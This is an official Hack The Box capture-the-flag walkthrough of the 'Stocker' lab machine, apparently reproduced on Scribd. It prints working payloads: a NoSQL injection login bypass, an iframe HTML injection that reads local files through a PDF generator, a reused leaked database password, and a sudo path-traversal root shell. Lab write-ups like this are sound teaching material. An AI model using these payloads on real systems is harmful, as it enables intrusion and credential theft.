0% found this document useful (0 votes)
30 views

Stocker

The document summarizes the enumeration and exploitation of vulnerabilities on the Stocker machine. Initial Nmap scanning reveals ports 22 and 80 open. The website at port 80 redirects to stocker.htb. Gobuster finds a login page at dev.stocker.htb built with NodeJS. A NoSQL injection bypassing the login reveals an e-shop. Submitting a purchase order generates a PDF, which is vulnerable to HTML injection allowing reading of system files through iframes. The index.js file is read to acquire credentials, allowing SSH access as angoose through password reuse. Privileges are escalated via a path traversal on a wildcard-enabled sudo command.

Uploaded by

mafihokand123
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
30 views

Stocker

The document summarizes the enumeration and exploitation of vulnerabilities on the Stocker machine. Initial Nmap scanning reveals ports 22 and 80 open. The website at port 80 redirects to stocker.htb. Gobuster finds a login page at dev.stocker.htb built with NodeJS. A NoSQL injection bypassing the login reveals an e-shop. Submitting a purchase order generates a PDF, which is vulnerable to HTML injection allowing reading of system files through iframes. The index.js file is read to acquire credentials, allowing SSH access as angoose through password reuse. Privileges are escalated via a path traversal on a wildcard-enabled sudo command.

Uploaded by

mafihokand123
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 13

Stocker

31st January 2023 / Document No D23.100.224

Prepared By: TRX

Machine Author(s): JoshSH

Difficulty: Easy

Classification: Official

Synopsis
Stocker is a medium difficulty Linux machine that features a website running on port 80 that advertises
various house furniture. Through vHost enumeration the hostname dev.stocker.htb is identified and
upon accessing it a login page is loaded that seems to be built with NodeJS . By sending JSON data and
performing a NoSQL injection, the login page is bypassed and access to an e-shop is granted. Enumeration
of this e-shop reveals that upon submitting a purchase order, a PDF is crafted that contains details about
the items purchased. This functionality is vulnerable to HTML injection and can be abused to read system
files through the usage of iframes. The index.js file is then read to acquire database credentials and owed
to password re-use users can log into the system over SSH . Privileges can then be escalated by performing
a path traversal attack on a command defined in the sudoers file, which contains a wildcard for executing
JavaScript files.

Skills Required
vHost enumeration

Basic knowledge of NodeJS applications

System Enumeration

Skills Learned
NoSQL injection

HTML Injection

Wildcard Injection

Path Traversal

Enumeration
Nmap
Let's begin by scanning for open ports using Nmap .

ports=$(nmap -p- --min-rate=1000 -T4 10.129.226.95 | grep '^[0-9]' | cut -d '/' -f 1 |


tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.129.226.95

The scan reveals ports 22 ( SSH ) and 80 ( Nginx ) open. Let's check out port 80 using a browser. Upon
accessing the server via its IP address, we are redirected to stocker.htb , so let's add this vHost to our
hosts file.

echo '10.129.226.95 stocker.htb' | sudo tee -a /etc/hosts


The server features a static website of a furnishing company that mentions it is under construction. There
does not seem to be any interesting functionality to uncover so let's proceed to run a vHost enumeration
scan using Gobuster . As a wordlist we will be using SecLists and specifically the Top 5000 DNS names.

gobuster vhost -u http://stocker.htb -w /usr/share/seclist/Discovery/DNS/subdomains-


top1million-5000.txt
The scan identified dev.stocker.htb , so let's add this to our hosts file and proceed to access it through a
browser.

echo '10.129.226.95 dev.stocker.htb' | sudo tee -a /etc/hosts

Upon accessing the new vHost we see a login page. Various default credentials do not seem to work, but if a
login page exists there must be a Database in the backend that handles the users. Attempting to perform
an SQL Injection does not seem to allow us to log in, so let's take a closer look at the headers that the server
is sending us.

curl -v dev.stocker.htb
From the output of the above command, we can see the X-Powered-By header that lists Express as the
software in use. Express is a NodeJS web application framework that is used to serve web pages.
Express usually supports JSON- as well as URL-encoded requests. Let's test this out by intercepting a login
request with BurpSuite .

After catching the request let's switch the Content-Type header to application/json and convert the
POST data to JSON, as well. We can also send this request to the Repeater tab by pressing Ctrl + r so
that we can more easily send requests. The request becomes as follows.

POST /login HTTP/1.1


Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dev.stocker.htb/login
Content-Type: application/json
Content-Length: 39
Origin: http://dev.stocker.htb
DNT: 1
Connection: close
Cookie:
connect.sid=s%3ANoeWQscGJmWOA2cVeKEtQs8AYwpKhoUu.iuibQ3jTcl%2FePP591pzWcnU%2Fj6rNWDDyNT
dMVgOv9e4
Upgrade-Insecure-Requests: 1

{"username":"admin","password":"admin"}

After clicking Forward , we get the error message Invalid username or password , which means that our
payload was accepted, however, our credentials are still not valid.

When an application is built on NodeJS and Express it is common for databases other than MySQL to be
in use, such as PostgreSQL and MongoDB . The latter is a NoSQL database, which means it is a type of
database that does not use relational tables. NoSQL databases can also suffer from SQL Injection attacks
(called NoSQL Injection ), similar to how SQL databases can suffer from SQL Injection attacks. If such a
database is being used here, which is a common occurrence for NodeJS , it might be possible for us to inject
the parameters and bypass the login page.

Let's take a look at a simple NoSQL injection payload.

{"username": {"$ne": null}, "password": {"$ne": null} }

The $ne value is an operator similar to != that checks for inequality. In the above payload, this means that
the username and password values are checked to make sure they are not equal to NULL . Let's copy the
above payload, perform another login attempt, catch the request on BurpSuite , and then switch the URL-
encoded payload to JSON, as shown previously. The final request is as follows.

POST /login HTTP/1.1


Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dev.stocker.htb/login
Content-Type: application/json
Content-Length: 29
Origin: http://dev.stocker.htb
DNT: 1
Connection: close
Cookie:
connect.sid=s%3ANoeWQscGJmWOA2cVeKEtQs8AYwpKhoUu.iuibQ3jTcl%2FePP591pzWcnU%2Fj6rNWDDyNT
dMVgOv9e4
Upgrade-Insecure-Requests: 1

{"username": {"$ne": null}, "password": {"$ne": null} }

After clicking Forward one more time, we are successfully logged in and are redirected to /stock .

This page contains a few items that are apparently being sold and we can add them to our basket and
submit a purchase request for them.

After clicking on Submit Purchase we see the following message pop up.
Clicking on the link to view our purchase order redirects us to /api/po , followed by what seems to be
random hexadecimal characters, and loads a PDF file.

Foothold
Let's add an item to our basket and catch the purchase request in BurpSuite to see what is going on
behind the curtains.

POST /api/order HTTP/1.1


Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dev.stocker.htb/stock
Content-Type: application/json
Origin: http://dev.stocker.htb
Content-Length: 162
DNT: 1
Connection: close
Cookie:
connect.sid=s%3ANoeWQscGJmWOA2cVeKEtQs8AYwpKhoUu.iuibQ3jTcl%2FePP591pzWcnU%2Fj6rNWDDyNT
dMVgOv9e4

{"basket":[{"_id":"638f116eeb060210cbd83a8d","title":"Cup","description":"It's a red
cup.","image":"red-cup.jpg","price":32,"currentStock":4,"__v":0,"amount":2}]}

The purchase request seems to be sending a lot of information about each item, but the most interesting
parameter is the title of the item as it is directly displayed in the PDF. We can deduce from this that a PDF
generator is being used to create the PDF from the specific information about each file. PDF generators can
typically also parse and render HTML tags, which opens up the possibility of an HTML injection.

We can easily try this by changing the item title to <script>alert(1)</script> . After clicking on the link
to redirect to the PDF the server sends back an Internal Server Error message, meaning that the
generator tried to render the script tags but failed.

Taking the above information into consideration, it might be possible for us to make the PDF generator load
and display system files by using iframes . Consider the following HTML payload.

<iframe src='file:///etc/passwd' width='1000' height='1000'></iframe>

iframes , or Inline Frames, are HTML elements that can load another HTML page within the same
document. The src attribute is the origin of the content from the external or internal server.

The above HTML loads the /etc/passwd file and displays it inside an iframe that is 1000 pixels wide and
1000 pixels tall. Let's try this once more by capturing another purchase submission and inputting the above
payload into the title field.

POST /api/order HTTP/1.1


Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dev.stocker.htb/stock
Content-Type: application/json
Origin: http://dev.stocker.htb
Content-Length: 162
DNT: 1
Connection: close
Cookie:
connect.sid=s%3ANoeWQscGJmWOA2cVeKEtQs8AYwpKhoUu.iuibQ3jTcl%2FePP591pzWcnU%2Fj6rNWDDyNT
dMVgOv9e4
{"basket":[{"_id":"638f116eeb060210cbd83a8d","title":"Cup<iframe
src='file:///etc/passwd' width='1000' height='1000'></iframe>","description":"It's a
red cup.","image":"red-cup.jpg","price":32,"currentStock":4,"__v":0,"amount":2}]}

After sending the request and opening the PDF, as shown previously, we see the following.

We have successfully managed to load the passwd file and we take note of a user called angoose that
exists in the system. With the ability to read system files, we can attempt to read various potentially
interesting files but it might also be worthwhile to check out the web files for potential database passwords
since we know the application uses NoSQL for the user login.

We come upon a problem, however, which is that we do not know where the development application is
located. An easy trick we can use to potentially determine this location is to send incorrectly formatted JSON
in one of the application's endpoints to see if it throws an error. Let's use the Purchase endpoint as we did
previously. To do this we can catch another request in Burp and remove one of the brackets } . After
removing the bracket and sending the request we get the following error message.
SyntaxError: Unexpected end of JSON input<br>
&nbsp; &nbsp;at JSON.parse (&lt;anonymous&gt;)<br>
&nbsp; &nbsp;at parse (/var/www/dev/node_modules/body-parser/lib/types/json.js:89:19)
<br>
&nbsp; &nbsp;at /var/www/dev/node_modules/body-parser/lib/read.js:128:18<br>
&nbsp; &nbsp;at AsyncResource.runInAsyncScope (node:async_hooks:203:9)<br>
&nbsp; &nbsp;at invokeCallback (/var/www/dev/node_modules/raw-body/index.js:231:16)<br>
&nbsp; &nbsp;at done (/var/www/dev/node_modules/raw-body/index.js:220:7)<br>
&nbsp; &nbsp;at IncomingMessage.onEnd (/var/www/dev/node_modules/raw-
body/index.js:280:7)<br>
&nbsp; &nbsp;at IncomingMessage.emit (node:events:513:28)<br>
&nbsp; &nbsp;at endReadableNT (node:internal/streams/readable:1359:12)<br>
&nbsp; &nbsp;at process.processTicksAndRejections
(node:internal/process/task_queues:82:21)

From the error, we can see that the application is hosted in the /var/www/dev/ folder and since this is a
NodeJS application we can try to read various default filenames to find the main function of the
application. Typically this is called index.js or main.js or even server.js .

Trying the above names we manage to load the file called index.js and get a big part of the code.

<iframe src='file:///var/www/dev/index.js' width='1000' height='1000'></iframe>

const express = require("express");


const mongoose = require("mongoose");
const session = require("express-session");
const MongoStore = require("connect-mongo");
const path = require("path");
const fs = require("fs");
const { generatePDF, formatHTML } = require("./pdf.js");
const { randomBytes, createHash } = require("crypto");

const app = express();


const port = 3000;

// TODO: Configure loading from dotenv for production


const dbURI = "mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?
authSource=admin&w=1";

In the code we can see the connection string for the Mongo database as well as the password being used,
namely IHeardPassphrasesArePrettySecure . Owed to password re-use we can log into the machine over
SSH with the username we identified earlier.

ssh [email protected]
The user flag can be found in /home/angoose/ .

Privilege Escalation
Let's check if the user can run any commands using sudo .

sudo -l

The results show that the user is able to run any script in /usr/local/scripts using node as every user
on the system. Let's see what this folder contains.

cd /usr/local/scripts
ls -al
The folder contains a few scripts that seem to be used to generate reports about orders and profit from the
website, however, we cannot write to this folder.

We do note though that because the sudo command that we can run contains a wildcard character, we
might be able to perform a path traversal in our command through the usage of ../ and execute a
JavaScript file of our own choice and potentially spawn a root shell.

Consider the following JavaScript code.

require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]})

Let's create a file called shell.js in /tmp and paste the above code inside it. Then, we can execute this file
as follows:

sudo /usr/bin/node /usr/local/scripts/../../../tmp/shell.js

This is successful and the root flag can be found in /root .

You might also like